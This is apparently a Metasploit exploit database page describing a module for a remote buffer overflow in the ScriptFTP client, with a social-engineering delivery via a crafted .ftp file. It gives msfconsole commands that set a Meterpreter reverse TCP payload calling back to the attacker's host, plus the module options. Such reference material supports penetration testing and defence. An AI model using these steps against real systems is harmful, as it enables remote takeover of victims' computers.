ScriptFTP <= 3.3 Remote Buffer Overflow (LIST) | Metasploit Exploit Database (DB)

ScriptFTP <= 3.3 Remote Buffer Overflow (LIST)

AmmSoft's ScriptFTP client is susceptible to a remote buffer overflow vulnerability that is triggered when processing a sufficiently long filename during a FTP LIST command resulting in overwriting the exception handler. Social engineering of executing a specially crafted ftp file by double click will result in connecting to our malcious server and perform arbitrary code execution which allows the attacker to gain the same rights as the user running ScriptFTP.

Search Other Modules


Exploit Rank

  • Good

Exploit Authors

  • modpr0be < >
  • TecR0c < roccogiovannicalvi [at] gmail.com >
  • mr_me < steventhomasseeley [at] gmail.com >

Vulnerability References


Exploit Targets

  • 0 - Windows XP SP3 / Windows Vista (default)

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/windows/ftp/scriptftp_list
msf exploit(scriptftp_list) > show payloads
msf exploit(scriptftp_list) > set PAYLOAD windows/meterpreter/reverse_tcp
msf exploit(scriptftp_list) > set LHOST [MY IP ADDRESS]
msf exploit(scriptftp_list) > exploit


Exploit Module Options

FILENAME The file name. (default: msf.ftp)
SRVHOST The local host to listen on. This must be an address on the local machine or 0.0.0.0 (default: 0.0.0.0)
SRVPORT The local port to listen on. (default: 21)
SSL Negotiate SSL for incoming connections
SSLCert Path to a custom SSL certificate (default is randomly generated)
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1) (default: SSL3)
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
ListenerComm The specific communication channel to use for this service
VERBOSE Enable detailed status messages
WORKSPACE Specify the workspace for this module
TCP::max_send_size Maximum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)